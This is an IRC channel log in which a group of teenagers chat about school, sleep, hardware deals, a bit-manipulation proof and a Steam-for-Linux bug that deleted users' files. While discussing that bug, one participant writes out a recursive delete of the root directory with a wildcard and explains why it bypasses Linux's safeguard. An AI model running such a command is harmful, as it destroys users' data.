[2015-01-15T19:08:14-0500] <Tamini_> and loool
[2015-01-15T19:08:40-0500] <nezorg> has Tamini_ ever told the plot in channel?
[2015-01-15T19:09:39-0500] <Tamini_> uhh
[2015-01-15T19:09:48-0500] <Tamini_> ive talked about bits and pieces a lot
[2015-01-15T19:09:56-0500] <Tamini_> mostly in #relationships tho
[2015-01-15T19:10:30-0500] <nezorg> ...on which server?
[2015-01-15T19:11:42-0500] <+Tamini> uhh
[2015-01-15T19:11:44-0500] <+Tamini> this one?
[2015-01-15T19:11:47-0500] <+Tamini> it died, though
[2015-01-15T19:11:53-0500] <nezorg> wat
[2015-01-15T19:12:03-0500] <nezorg> apparently #thathappened
[2015-01-15T19:12:11-0500] <Hyper> TIL there's more than one channel on pdgn
[2015-01-15T19:12:15-0500] <+Tamini> it was a joke channel
[2015-01-15T19:12:21-0500] <+Tamini> for hardmath123 to tell me about his love life
[2015-01-15T19:12:26-0500] <nezorg> Hyper: join #rust :P
[2015-01-15T19:12:27-0500] <+Tamini> then it became an actual thing?!?!?!
[2015-01-15T19:12:45-0500] <Hyper> nezorg: but I don't use rust :)
[2015-01-15T19:12:54-0500] <nezorg> Hyper: well that can be fixed
[2015-01-15T19:13:12-0500] <+hardmath123> Tamini: don't blame it on *me*! :P
[2015-01-15T19:13:13-0500] <Hyper> sorry, D already captured my love
[2015-01-15T19:15:23-0500] <jwoglom> lol, there are other actual channels on this network
[2015-01-15T19:15:37-0500] <nezorg> Hyper: don't worry, you can repent
[2015-01-15T19:15:48-0500] <nezorg> naah :P
[2015-01-15T19:15:50-0500] <nezorg> D isn't that bad
[2015-01-15T19:15:52-0500] <+hardmath123> so my math teacher was doing cross products and teaching the right-hand rule
[2015-01-15T19:15:54-0500] <+hardmath123> and he was like
[2015-01-15T19:15:54-0500] <nezorg> it's not like you liked java
[2015-01-15T19:16:07-0500] <nezorg> hardmath123: did he show the xkcd method???
[2015-01-15T19:16:21-0500] <nezorg> (if it's a she, it's a bit more difficult...)
[2015-01-15T19:16:31-0500] <+hardmath123> "so you make your hand into a gun shape like you're shooting at someone, but open this finger...uh...pretend you're also simulataneously insulting them?
[2015-01-15T19:16:56-0500] <+Tamini> uh
[2015-01-15T19:17:02-0500] <+Tamini> lolol
[2015-01-15T19:17:06-0500] <+Tamini> do it with a curl
[2015-01-15T19:17:36-0500] • nezorg: prefers the xkcd method
[2015-01-15T19:17:51-0500] <+hardmath123> but that's very awkward when you're taking a test
[2015-01-15T19:18:03-0500] <nezorg> true
[2015-01-15T19:18:12-0500] <+hardmath123> "excuse me, can I go to the bathroom to remember cross products?"
[2015-01-15T19:18:16-0500] <+Tamini> during the physics test last year
[2015-01-15T19:18:26-0500] <+Tamini> people just contorted their hands everywhere
[2015-01-15T19:18:28-0500] <+Tamini> it was so fun to watch
[2015-01-15T19:18:40-0500] <nezorg> yeah, I remember that in my physics class too :3
[2015-01-15T19:19:17-0500] <+Tamini> physics takes so much more retrospective sense
[2015-01-15T19:19:20-0500] <+Tamini> after multi :(
[2015-01-15T19:19:25-0500] <nezorg> *makes?
[2015-01-15T19:19:38-0500] <+Tamini> yes
[2015-01-15T19:21:45-0500] <+hardmath123> my mom just walked by my door
[2015-01-15T19:21:51-0500] <+hardmath123> i think she suspects i'm making gang signs
[2015-01-15T19:22:02-0500] <+Tamini> LOL
[2015-01-15T19:22:07-0500] <+Tamini> are you making gang signs?
[2015-01-15T19:22:43-0500] <nezorg> "the gang of the cross product"
[2015-01-15T19:23:18-0500] <+hardmath123> this should be a thing. nerds at math competitions just greet each other with right-hand-rule gestures
[2015-01-15T19:23:52-0500] <Hyper> "my gang is always normal"
[2015-01-15T19:24:43-0500] <nezorg> that is an awesome slogna
[2015-01-15T19:24:56-0500] <nezorg> we need a bot that autocorrects
[2015-01-15T19:25:44-0500] <+Tamini> lol
[2015-01-15T19:25:53-0500] <+Tamini> you should write your bucket clone
[2015-01-15T19:25:57-0500] <+Tamini> and add functionality to it
[2015-01-15T19:27:26-0500] <+hardmath123> or just write sedbot, which maintains a rolling sed script to which we can add rules.
[2015-01-15T19:27:30-0500] <+hardmath123> it reads every message
[2015-01-15T19:27:34-0500] <+hardmath123> and if the sed script changes it
[2015-01-15T19:27:40-0500] <+hardmath123> then it says the changed version
[2015-01-15T19:27:47-0500] <nezorg> maybe
[2015-01-15T19:28:24-0500] <nezorg> bucket is pretty awesome with its variable though
[2015-01-15T19:28:54-0500] <+hardmath123> there's a flashmob at lunch tomorrow. should i go or not?
[2015-01-15T19:29:17-0500] <nezorg> whatsa flashmob
[2015-01-15T19:29:19-0500] <nezorg> oh
[2015-01-15T19:29:20-0500] <nezorg> right
[2015-01-15T19:29:23-0500] <nezorg> what for?
[2015-01-15T19:29:28-0500] <+hardmath123> i don't even know
[2015-01-15T19:29:35-0500] <+hardmath123> they're dancing to "shake it off"
[2015-01-15T19:29:41-0500] <nezorg> school-organized?
[2015-01-15T19:29:59-0500] <+hardmath123> school-supported, oddly enough
[2015-01-15T19:30:06-0500] <ubuntor> ...?
[2015-01-15T19:30:06-0500] <nezorg> then no
[2015-01-15T19:30:09-0500] <nezorg> #fuckauthority #yolo
[2015-01-15T19:30:29-0500] <+hardmath123> ever since what happened this fall, they seem overly paranoid about kids being stressed.
[2015-01-15T19:31:08-0500] <nezorg> ...what happened?
[2015-01-15T19:32:28-0500] <+hardmath123> apparently there was a student suicide
[2015-01-15T19:32:43-0500] <+hardmath123> and so all the parents blew up in the district's face
[2015-01-15T19:32:46-0500] <nezorg> ...oh.
[2015-01-15T19:33:17-0500] <+hardmath123> i mean, we got like 3 surveys filled with loaded questions meant to make it look like we're dying under elephantine stacks of homework
[2015-01-15T19:33:31-0500] <+Tamini> ouch D:
[2015-01-15T19:33:43-0500] <+Tamini> heh
[2015-01-15T19:33:45-0500] <+Tamini> iunno
[2015-01-15T19:33:49-0500] <+hardmath123> and teachers were forced to write "estimates" for time taken for each homework assignment
[2015-01-15T19:33:51-0500] <+Tamini> flashmobs sound so cool though
[2015-01-15T19:33:55-0500] <+Tamini> (lol)
[2015-01-15T19:34:02-0500] <+Tamini> our school has this policy
[2015-01-15T19:34:08-0500] <+Tamini> of no more than 2 hours of hw a night
[2015-01-15T19:34:15-0500] <+Tamini> except teachers interpret this as per class
[2015-01-15T19:34:18-0500] <+hardmath123> lol
[2015-01-15T19:34:22-0500] <+Tamini> we have 4 classes a day
[2015-01-15T19:34:30-0500] <+Tamini> and we get home at like 5
[2015-01-15T19:34:33-0500] <+Tamini> -> what is sleep
[2015-01-15T19:34:43-0500] <jwoglom> Tamini: it's not a school policy though
[2015-01-15T19:34:47-0500] <jwoglom> it's fairfax county
[2015-01-15T19:34:59-0500] <jwoglom> they've always had that "rule" but it's never been enforced
[2015-01-15T19:35:35-0500] <+hardmath123> oh yeah they made us sit through an hour-long lecture on sleep
[2015-01-15T19:35:40-0500] <+Tamini> lolol
[2015-01-15T19:35:47-0500] <+Tamini> should've slept through that lecture
[2015-01-15T19:35:50-0500] <nezorg> "it turns out, it's better if you get more"
[2015-01-15T19:35:57-0500] <+hardmath123> by the guy who invented the term REM SLEEP
[2015-01-15T19:36:00-0500] <jwoglom> sounds like an excuse for a 1hr nap
[2015-01-15T19:36:28-0500] <jwoglom> "i'm just applying myself and getting real world experience on the subject!"
[2015-01-15T19:36:59-0500] <nezorg> jwoglom: it's on theory, not application
[2015-01-15T19:37:12-0500] <jwoglom> nezorg: shhhh, close enough
[2015-01-15T19:37:40-0500] <nezorg> "wouldn't it be great if you could get more sleep? hahaha fuckers, sucks to be you"
[2015-01-15T19:38:09-0500] <jwoglom> what did they cut out of the day for that? :P
[2015-01-15T19:38:45-0500] <+Tamini> nezorg, hardmath123: don't complain, you guys have 3 extra hours! :P
[2015-01-15T19:49:17-0500] <LittleBobbyTables> 1 hour nap is 30 minutes too long
[2015-01-15T19:50:36-0500] <+Tamini> polyphastic sleep all the way
[2015-01-15T19:51:04-0500] <+hardmath123> sleep is yet another field in which dolphins beat humans
[2015-01-15T19:51:55-0500] <LittleBobbyTables> phasic*
[2015-01-15T19:53:51-0500] <+hardmath123> also, i'm getting increasingly mad at The Russian Spammers. look, guys, hulfingtonpost.com links to my blog!
[2015-01-15T19:54:02-0500] <+hardmath123> >:(
[2015-01-15T19:56:00-0500] <+Tamini> lol
[2015-01-15T19:58:37-0500] <LittleBobbyTables> Someone should go write something in #easyctf on freenode
[2015-01-15T19:58:48-0500] <LittleBobbyTables> So I can have an unread message in every channel and feel important
[2015-01-15T19:59:05-0500] <ubuntor> lol
[2015-01-15T19:59:11-0500] <+Tamini> why dont you just leave the channel?
[2015-01-15T19:59:17-0500] <+Tamini> most of the people talk on the fb chat anyway :P
[2015-01-15T19:59:20-0500] <LittleBobbyTables> Cause it'll be archived
[2015-01-15T20:00:04-0500] <+Tamini> lol
[2015-01-15T20:00:49-0500] <LittleBobbyTables> :^)
[2015-01-15T20:10:43-0500] <LittleBobbyTables> https://github.com/ValveSoftware/steam-for-linux/issues/3671
[2015-01-15T20:11:42-0500] <+hardmath123> i love how the programmer wrote "# Scary!" before the rm -rf line
[2015-01-15T20:11:50-0500] <nezorg> yay, we all read hn
[2015-01-15T20:11:53-0500] <+Tamini> probably does warrant a warning
[2015-01-15T20:12:35-0500] <+hardmath123> I did want to tell that guy asking "how do I prevent this?" to put a file named "-i" in his homedir.
[2015-01-15T20:13:07-0500] <+hardmath123> But I figured UNIX extremists would kill me.
[2015-01-15T20:13:11-0500] <LittleBobbyTables> It was in another channel nezorg :P
[2015-01-15T20:13:15-0500] <+hardmath123> And my HN karma would literally become negative.
[2015-01-15T20:13:45-0500] <nezorg> LittleBobbyTables: well someone in your other channel reads hn :P
[2015-01-15T20:13:57-0500] <LittleBobbyTables> They got it from reddit :P
[2015-01-15T20:14:11-0500] <nezorg> ...fuck
[2015-01-15T20:14:13-0500] <ubuntor> lol
[2015-01-15T20:14:54-0500] <+Tamini> so much disappointment
[2015-01-15T20:26:38-0500] <LittleBobbyTables> Bumblebee had an issue where it would delete /usr after you install it too
[2015-01-15T20:31:58-0500] <Hyper> I don't read hn :)
[2015-01-15T20:32:11-0500] <Hyper> In fact I stay the fuuuuuck away from hn
[2015-01-15T20:38:46-0500] <ubuntor> eh, it's entertaining
[2015-01-15T20:39:24-0500] <+Tamini> i think i had a conversation on someone on this channel about how hn is just a 
[2015-01-15T20:39:31-0500] <+Tamini> giant echo chamber 95% of the time
[2015-01-15T20:39:43-0500] <+Tamini> but the other 5% isn't too awful
[2015-01-15T20:39:55-0500] <nezorg> some of the posts are pretty interesting
[2015-01-15T20:43:18-0500] <LittleBobbyTables> It's that 99.99999% of the internet, Tamini?
[2015-01-15T20:43:56-0500] <+Tamini> lol
[2015-01-15T20:43:59-0500] <+Tamini> yes, sorta
[2015-01-15T21:00:15-0500] <ubuntor> sturgeon's law!
[2015-01-15T21:14:07-0500] <LittleBobbyTables> http://www.reddit.com/r/pics/comments/2sjxb4/my_boss_asked_if_anyone_browsed_reddit_i_was_the/cnqg4dg
[2015-01-15T21:14:19-0500] <LittleBobbyTables> This, friends, is why your bot should ignore itself.
[2015-01-15T21:15:24-0500] <+JacobEdelman> wow, so many people on
[2015-01-15T21:15:36-0500] <+JacobEdelman> my irccloud is so colorful
[2015-01-15T21:15:44-0500] <+JacobEdelman> with all the different people
[2015-01-15T21:18:02-0500] <ubuntor> hmm
[2015-01-15T21:18:20-0500] <ubuntor> how would you generate a list of colors that are sufficiently distinguishable?
[2015-01-15T21:19:52-0500] <ubuntor> irrational multiples of hue?
[2015-01-15T21:20:33-0500] <+hardmath123> that's how i'd do it
[2015-01-15T21:21:01-0500] <+hardmath123> though on a terminal, people generally map a hash of the username to an ANSI escape color
[2015-01-15T21:21:25-0500] <+hardmath123> well, there's a bit more that goes into it, so that Tamini and Tamini_ are the same color
[2015-01-15T21:21:33-0500] <ubuntor> oh, neat
[2015-01-15T21:21:56-0500] <+hardmath123> scripts.irssi.org/scripts/nickcolor.pl
[2015-01-15T21:23:02-0500] <+Tamini> oh, really?
[2015-01-15T21:23:02-0500] <+Tamini> :P
[2015-01-15T21:30:23-0500] <+JacobEdelman> I wanna be this guy: http://arstechnica.com/security/2015/01/activist-pulls-off-clever-wi-fi-honeypot-to-protest-surveillance-state/
[2015-01-15T21:31:02-0500] <LittleBobbyTables> Is that the hotel(?) one
[2015-01-15T21:32:52-0500] <+JacobEdelman> read te article
[2015-01-15T21:32:52-0500] <+JacobEdelman> *the
[2015-01-15T21:32:56-0500] <+JacobEdelman> I don't know what one you are talking about
[2015-01-15T21:33:16-0500] <ubuntor> lesson: don't connect to wifi at security cons
[2015-01-15T21:34:12-0500] <+Tamini> jwoglom: are you watching fightclub
[2015-01-15T21:34:20-0500] <+Tamini> if yes: pls explain why this is ok
[2015-01-15T21:34:31-0500] <jwoglom> Tamini: i just noticed it like 2 mins ago
[2015-01-15T21:34:47-0500] <+Tamini> im not sure whether to laugh or to be
[2015-01-15T21:34:51-0500] <+Tamini> seriously concerned?
[2015-01-15T21:34:57-0500] <jwoglom> yeah..
[2015-01-15T21:35:09-0500] <LittleBobbyTables> Security Conference. It was still at a hotel I'm pretty sure
[2015-01-15T21:36:23-0500] <+JacobEdelman> its some gov. meeting
[2015-01-15T21:36:56-0500] <+JacobEdelman> also, is there any chance of that steam bug happening to me? I'm like 99% sure it won't since I didn't symlink or whatever... but 99% is not good enough for my hard drive
[2015-01-15T21:37:16-0500] <ubuntor> backups :P
[2015-01-15T21:40:31-0500] <+JacobEdelman> I have them (I backed up everything since my computer went in for repairs, than wiped my computer, I just got it back and am writing everything back on to it now)
[2015-01-15T21:40:34-0500] <+JacobEdelman> tommorow it should be ready
[2015-01-15T21:41:23-0500] <LittleBobbyTables> You can fix it yourself
[2015-01-15T21:43:20-0500] <+JacobEdelman> fix what? my computer? steam?
[2015-01-15T21:43:44-0500] <+JacobEdelman> an election?
[2015-01-15T21:44:13-0500] <LittleBobbyTables> Fix the part where your OS allows rm -rf "/"
[2015-01-15T21:46:10-0500] <+Tamini> lol
[2015-01-15T21:46:25-0500] <+JacobEdelman> linux throws an error on that
[2015-01-15T21:46:26-0500] <+JacobEdelman> its
[2015-01-15T21:46:32-0500] <+JacobEdelman> and doesn't allow it
[2015-01-15T21:46:36-0500] <+JacobEdelman> its
[2015-01-15T21:46:43-0500] <+JacobEdelman> rm -rf "/"*
[2015-01-15T21:46:47-0500] <+JacobEdelman> that's a problem I think
[2015-01-15T21:46:54-0500] <+JacobEdelman> the asterik makes the difference
[2015-01-15T21:47:02-0500] <LittleBobbyTables> Derp.
[2015-01-15T21:47:08-0500] <LittleBobbyTables> You're right.
[2015-01-15T21:47:23-0500] <+JacobEdelman> weee! I feel smart
[2015-01-15T21:47:46-0500] • JacobEdelman: dances with joy.
[2015-01-15T21:47:56-0500] • JacobEdelman: is a rarely strange person/
[2015-01-15T21:47:58-0500] <+JacobEdelman> *.
[2015-01-15T21:48:02-0500] <LittleBobbyTables> This guy is selling kinda bad HDD's for 60 bucks :(
[2015-01-15T21:48:04-0500] • JacobEdelman: stops dancing
[2015-01-15T21:48:09-0500] <+JacobEdelman> HDD?
[2015-01-15T21:48:43-0500] <alokpathy> JacobEdelman: Hard Disk Drive
[2015-01-15T21:48:51-0500] <+JacobEdelman> ahh
[2015-01-15T21:48:54-0500] <+JacobEdelman> that makes sense
[2015-01-15T21:49:54-0500] <alokpathy> Lol I remember we got a really bad hard drive a while back for free that actually came into good use when Windows got corrupted on our other computer.
[2015-01-15T21:51:01-0500] <+JacobEdelman> wow
[2015-01-15T21:51:08-0500] <+JacobEdelman> how does an os get corrupted?
[2015-01-15T21:51:41-0500] <alokpathy> I don't exactly know.
[2015-01-15T21:51:44-0500] <LittleBobbyTables> By being Windows.
[2015-01-15T21:51:50-0500] <alokpathy> I just know that the NTLDR got screwed up.
[2015-01-15T21:51:57-0500] <LittleBobbyTables> This other guy is selling some CAS 10 RAM for more than the price he bought it for off Newegg lol.
[2015-01-15T21:52:14-0500] <LittleBobbyTables> Because he was stupid and didn't check compatability for his mobo.
[2015-01-15T21:52:19-0500] <+JacobEdelman> wow
[2015-01-15T21:52:23-0500] <alokpathy> lolol
[2015-01-15T21:53:08-0500] <+JacobEdelman> what does lolol mean?
[2015-01-15T21:53:16-0500] <+JacobEdelman> I mean it's not lol twice, that would lol lol
[2015-01-15T21:53:24-0500] <alokpathy> It is lol twice.
[2015-01-15T21:53:27-0500] <alokpathy> It's a compressed version.
[2015-01-15T21:53:55-0500] <LittleBobbyTables> ohhh
[2015-01-15T21:54:01-0500] <LittleBobbyTables> for 50 bucks
[2015-01-15T21:54:21-0500] <LittleBobbyTables> Craigslist is a great a site.
[2015-01-15T21:54:25-0500] <LittleBobbyTables> Also, a razer nostromo
[2015-01-15T21:55:06-0500] <alokpathy> A razer nostromo for 50 bucks?
[2015-01-15T21:55:15-0500] <LittleBobbyTables> yeah
[2015-01-15T21:55:20-0500] <LittleBobbyTables> Message didn't go through
[2015-01-15T21:55:35-0500] <alokpathy> Wait these seem like
[2015-01-15T21:55:37-0500] <alokpathy> mad expensive
[2015-01-15T21:55:43-0500] <LittleBobbyTables> I could probably give him 40-45 for it too
[2015-01-15T21:55:55-0500] <alokpathy> Wow nice.
[2015-01-15T21:55:56-0500] <LittleBobbyTables> They're 60 without tax and shipping normally
[2015-01-15T21:56:08-0500] <alokpathy> Oh, reallly?
[2015-01-15T21:56:10-0500] <alokpathy> Oh okay.
[2015-01-15T21:56:40-0500] <alokpathy> I googled it and found this http://goo.gl/qEJjJT
[2015-01-15T21:56:48-0500] <alokpathy> and was like "Holy shit $300"
[2015-01-15T21:57:00-0500] <alokpathy> "How'd LBT find it for $50??"
[2015-01-15T21:59:02-0500] <LittleBobbyTables> The tartarus is 80 from razer directly, why would the nostromo be 300 lmao
[2015-01-15T21:59:33-0500] <alokpathy> No idea. It's what's on Amazon.
[2015-01-15T22:00:26-0500] <+Tamini> whoa
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[2015-01-15T22:49:23-0500] <+hardmath123> threads make my brain feel loopy
[2015-01-15T22:50:11-0500] <nezorg> hardmath123: how so?
[2015-01-15T22:50:24-0500] <+hardmath123> because they aren't working
[2015-01-15T22:50:34-0500] <nezorg> uhhh
[2015-01-15T22:51:18-0500] <+Tamini> yo when does blackhat come out
[2015-01-15T22:51:20-0500] <+Tamini> anyone know?
[2015-01-15T22:51:32-0500] <nezorg> tomorrow
[2015-01-15T22:51:34-0500] <LittleBobbyTables> Today
[2015-01-15T22:51:40-0500] <+Tamini> odamn
[2015-01-15T22:51:41-0500] <+Tamini> why
[2015-01-15T22:51:43-0500] <jwoglom> yup
[2015-01-15T22:51:46-0500] <+Tamini> :(
[2015-01-15T22:51:48-0500] <+Tamini> midterms pls
[2015-01-15T22:51:49-0500] <jwoglom> 16th
[2015-01-15T22:52:00-0500] <LittleBobbyTables> Stop being in the past
[2015-01-15T22:52:12-0500] <jwoglom> Tamini: well it'll probably be playing for awhile
[2015-01-15T22:52:32-0500] <ubuntor> huh
[2015-01-15T22:52:38-0500] <LittleBobbyTables> I'll probably hate it:/
[2015-01-15T22:52:46-0500] <ubuntor> apparently there's a private showing for $20 tomorrow night
[2015-01-15T22:54:23-0500] <+Tamini> jwoglom: did we work out the
[2015-01-15T22:54:30-0500] <+Tamini> sysadmin blackhat outing
[2015-01-15T22:54:45-0500] <jwoglom> i don't think we have, no
[2015-01-15T22:54:53-0500] <jwoglom> it's been brought up once or twice, but that's it
[2015-01-15T22:54:58-0500] <+Tamini> lol
[2015-01-15T22:55:03-0500] <+Tamini> i thought we just said
[2015-01-15T22:55:06-0500] <+Tamini> ahamilto is everyone's dad
[2015-01-15T22:55:19-0500] <ubuntor> lol
[2015-01-15T22:55:39-0500] <jwoglom> Tamini: he doesn't have to be our dad, just our "guardian" :P
[2015-01-15T22:55:45-0500] <+Tamini> lolol
[2015-01-15T22:55:50-0500] <+Tamini> i thought we were working out a family tree
[2015-01-15T22:55:58-0500] <+Tamini> a very very incestuous family tree
[2015-01-15T22:56:13-0500] <jwoglom> well there was the expats relationship diagram
[2015-01-15T22:56:17-0500] <jwoglom> but that got too complicated
[2015-01-15T22:56:31-0500] <jwoglom> it'd be interesting if we made an actual one..
[2015-01-15T22:56:54-0500] <LittleBobbyTables> Incest is an anagram for nicest
[2015-01-15T22:57:00-0500] <ubuntor> oh dear...
[2015-01-15T22:57:22-0500] <alokpathy> Well then
[2015-01-15T22:58:01-0500] <+Tamini> it would have to be
[2015-01-15T22:58:02-0500] <+Tamini> like
[2015-01-15T22:58:04-0500] <+Tamini> 4-dimensional
[2015-01-15T22:58:17-0500] <jwoglom> Tamini: ahamilto would have to be the father to all of us, but at the same time you are ahamilto and anya and claudia are also you
[2015-01-15T22:58:44-0500] <jwoglom> and andrew and jacob are brothers, but anya is dating jacob
[2015-01-15T22:58:46-0500] <jwoglom> and it goes on
[2015-01-15T23:01:59-0500] <+Tamini> wait how did I become anya
[2015-01-15T23:02:00-0500] <+Tamini> and claudia
[2015-01-15T23:02:04-0500] <+Tamini> i thought we were just sisters
[2015-01-15T23:02:11-0500] <jwoglom> oh are you
[2015-01-15T23:02:23-0500] <jwoglom> i thought at some point it was decided that you == anya == claudia or something
[2015-01-15T23:02:30-0500] <jwoglom> i dunno, sisters would make a lot more sense
[2015-01-15T23:02:35-0500] <+Tamini> i don't want to date jacob
[2015-01-15T23:02:37-0500] <+Tamini> jacob is scary
[2015-01-15T23:02:38-0500] <jwoglom> too many people are also someone else
[2015-01-15T23:03:04-0500] <alokpathy> JacobEdelman: Tamini thinks your scary, evidently.
[2015-01-15T23:03:16-0500] <alokpathy> you're*
[2015-01-15T23:03:18-0500] <+Tamini> nooo
[2015-01-15T23:03:23-0500] <jwoglom> jacob = jacob holtom, not JacobEdelman :P
[2015-01-15T23:03:24-0500] <+Tamini> jacob is lame not scary :P
[2015-01-15T23:03:33-0500] <+hardmath123> wow that's harsh
[2015-01-15T23:03:45-0500] <alokpathy> It's funny because "anya is dating jacob" applies to JacobEdelman too.
[2015-01-15T23:03:55-0500] <alokpathy> His girlfriend's name is Anya.
[2015-01-15T23:04:02-0500] <jwoglom> heh. that's an interesting coincidence
[2015-01-15T23:04:24-0500] <alokpathy> I was confused at first because I didn't know Jacob had a brother named Andrew xD
[2015-01-15T23:04:28-0500] <+Tamini> oh whoa.
[2015-01-15T23:04:29-0500] <+Tamini> LOL
[2015-01-15T23:05:19-0500] <jwoglom> lol ahamilto and jholtom are only brothers because people thought they were brothers freshman year
[2015-01-15T23:05:27-0500] <jwoglom> i think they're still "family" in facebook
[2015-01-15T23:07:07-0500] <+Tamini> i used to think jacob was really attractive
[2015-01-15T23:07:07-0500] <+Tamini> then he
[2015-01-15T23:07:10-0500] <+Tamini> opened his mouth
[2015-01-15T23:07:12-0500] <+Tamini> and i stopped
[2015-01-15T23:07:25-0500] <Hyper> hahahahaha
[2015-01-15T23:08:06-0500] <jwoglom> Tamini: that's a bit harsh, don't you think? :P
[2015-01-15T23:08:11-0500] <LittleBobbyTables> >friend wants to get new laptop/computer, $500 budget
[2015-01-15T23:08:11-0500] <LittleBobbyTables> >Someone recommends an i7 that's already 2/5 his total price
[2015-01-15T23:08:11-0500] <LittleBobbyTables> >gives him no gpu, onboard graphics
[2015-01-15T23:08:11-0500] <LittleBobbyTables> >16 gb of ram
[2015-01-15T23:08:25-0500] <LittleBobbyTables> :/
[2015-01-15T23:08:52-0500] <alokpathy> Tamini: I think that applies to a lot of people.
[2015-01-15T23:09:02-0500] <alokpathy> Like the Kardashians.
[2015-01-15T23:09:47-0500] <LittleBobbyTables> I build a budget one for him, uses an AMD cpu (Because they're better for budget builds except the g2385, but that's not quite good enough for what he wanted), has a 280x, and 8gb memory. Dude gets mad because the comp he sent was "better" because "more RAM and it's an i7 and AMD is 100% bad always"
[2015-01-15T23:10:07-0500] <+Tamini> jwoglom: if I found jacob attractive after he started talking
[2015-01-15T23:10:11-0500] <+Tamini> we would have a really really big problem
[2015-01-15T23:10:18-0500] <jwoglom> i think it might be a bit of a stretch to consider kardashians "people" :P
[2015-01-15T23:10:28-0500] <jwoglom> Tamini: lol
[2015-01-15T23:19:02-0500] <nezorg> LittleBobbyTables: if you're not gaming (or doing gpgpu :P), integrated is fine, and cpu+memory matter a lot more
[2015-01-15T23:19:16-0500] <LittleBobbyTables> He is gaming though :P
[2015-01-15T23:19:22-0500] <nezorg> ...well then
[2015-01-15T23:19:35-0500] <LittleBobbyTables> He's doing at most one VM (when nothing else is going on), programming, and gaming.
[2015-01-15T23:19:55-0500] <jwoglom> would make a lot more sense to bump down the CPU and get at least a ~$100 discrete gpu
[2015-01-15T23:20:07-0500] <jwoglom> better investment for the money
[2015-01-15T23:27:49-0500] <LittleBobbyTables> Why not get a refurb 280x and a g3825? Significantly better, will handle all the games he runs, and in the future, he just needs to upgrade the cpu
[2015-01-15T23:34:12-0500] <nezorg> doing research for an english presentation
[2015-01-15T23:34:19-0500] <nezorg> this is actually an interesting article: http://thoughtcatalog.com/david-cain/2013/01/your-lifestyle-has-already-been-designed/
[2015-01-15T23:38:30-0500] <ubuntor> hmm
[2015-01-15T23:38:43-0500] <ubuntor> interesting, but slightly depressing...
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[2015-01-16T00:09:40-0500] <nezorg> sounds like the real world!
[2015-01-16T00:10:27-0500] <nezorg> also I found a way better soln to the bit problem
[2015-01-16T00:10:37-0500] <nezorg> B = ~A + 1 and C = ~(A + 1), right?
[2015-01-16T00:10:54-0500] <nezorg> B = ~A + 1 = 2^N - A
[2015-01-16T00:10:59-0500] <nezorg> so then
[2015-01-16T00:11:10-0500] <nezorg> A = 2^N - B
[2015-01-16T00:11:28-0500] <nezorg> then C = ~(A - 1) = ~((2^n - B) - 1) = ~((2^n - 1) -B) = ~(~B) = B
[2015-01-16T00:11:29-0500] <nezorg> :D
[2015-01-16T00:12:54-0500] <+Tamini> ohh thats pretty
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[2015-01-16T00:13:09-0500] <+Tamini> basically
[2015-01-16T00:13:18-0500] <+Tamini> your solution, my solution, and jacob's solution
[2015-01-16T00:13:26-0500] <+Tamini> did exactly the same thing written out in various degrees of niceness
[2015-01-16T00:13:32-0500] <nezorg> yeah :P
[2015-01-16T00:14:48-0500] <nezorg> I have to show that (2^N - 1) - x = ~x, but I think I can just explain that with words
[2015-01-16T00:15:08-0500] <nezorg> or maybe I can assume that? hmmm
[2015-01-16T00:16:17-0500] <+Tamini> i mean it is kind of obvious
[2015-01-16T00:16:53-0500] <nezorg> yeah
[2015-01-16T00:29:48-0500] <@awe> [17:54:49] <jwoglom> hardmath123: that was yesterday, they sent out a global msg
[2015-01-16T00:29:48-0500] <@awe> [17:54:54] <jwoglom> pretty sure this is unrelated
[2015-01-16T00:29:53-0500] <@awe> jwoglom: no, it was related to the maintenance and stuff.
[2015-01-16T00:30:26-0500] <jwoglom> awe: i meant that it wasn't a part of the planned downtime that they had scheduled as a result of them moving networking/servers around
[2015-01-16T00:30:31-0500] <@awe> Oh, no.
[2015-01-16T00:30:36-0500] <@awe> It was cause they fucked up config. :)
[2015-01-16T00:30:41-0500] <jwoglom> yup :)
[2015-01-16T00:30:48-0500] <nezorg> awe: did you see that lib I linked you?
[2015-01-16T00:30:57-0500] <@awe> Still reading backlog.
[2015-01-16T00:31:05-0500] <nezorg> kk
[2015-01-16T00:36:43-0500] <@awe> jwoglom: I see where you saw the notice.
[2015-01-16T00:40:10-0500] <+hardmath123> JacobEdelman: so my hamelin reference implementation almost works
[2015-01-16T00:40:34-0500] <+hardmath123> i'm wondering whether forcing everything to line-buffer is a reasonable thought
[2015-01-16T00:42:56-0500] <@awe> nezorg: I saw when he first came up with something like this library
[2015-01-16T00:43:03-0500] <@awe> nezorg: it's cool that he developed it further.
[2015-01-16T00:43:08-0500] <nezorg> yeah
[2015-01-16T00:56:24-0500] <nezorg> who says hoon is unreadable https://github.com/urbit/sample-apps/blob/master/todo/app/todo/core.hook
[2015-01-16T00:59:48-0500] <nezorg> urbit is a really interesting idea
[2015-01-16T00:59:55-0500] <nezorg> too bad it's run by a rather... crazy guy
[2015-01-16T01:12:55-0500] <nezorg> well this is fucking scary https://www.reddit.com/r/netsec/comments/2siq2s/new_cybersecurity_law_could_make_this_subreddit_a/
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[2015-01-16T06:38:10-0500] <+JacobEdelman> I'm back!
[2015-01-16T06:38:16-0500] <+JacobEdelman> and I am now on my old computer
[2015-01-16T09:05:48-0500] <+JacobEdelman> I'm looking through pdgn chat logs from 3pm
[2015-01-16T09:05:51-0500] <+JacobEdelman> and I am confused
[2015-01-16T09:05:57-0500] <+JacobEdelman> too many jacobs
[2015-01-16T09:06:13-0500] <+JacobEdelman> I have no idea whether I'm being insulted or complimented...
[2015-01-16T09:06:32-0500] <+JacobEdelman> I'll just assume I'm being complimented
[2015-01-16T09:08:08-0500] <+JacobEdelman> oh wait
[2015-01-16T09:08:11-0500] <+JacobEdelman> not 3 pm
[2015-01-16T09:08:19-0500] <+JacobEdelman> its just my system time is completely messed up
[2015-01-16T09:08:32-0500] <+JacobEdelman> since I'm failry certain its not 1:09 am right now
[2015-01-16T09:08:33-0500] <+JacobEdelman> :P
[2015-01-16T09:09:21-0500] <+JacobEdelman> ah, those messages are only from 11pm...
[2015-01-16T11:27:29-0500] <LittleBobbyTables> I like how my old teacher didn't ask how I got her new email when I asked her how her new school was going, she just sort of answered my questions
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[2015-01-16T00:43:03-0500] <@awe> nezorg: it's cool that he developed it further.
[2015-01-16T00:43:08-0500] <nezorg> yeah
[2015-01-16T00:56:24-0500] <nezorg> who says hoon is unreadable https://github.com/urbit/sample-apps/blob/master/todo/app/todo/core.hook
[2015-01-16T00:59:48-0500] <nezorg> urbit is a really interesting idea
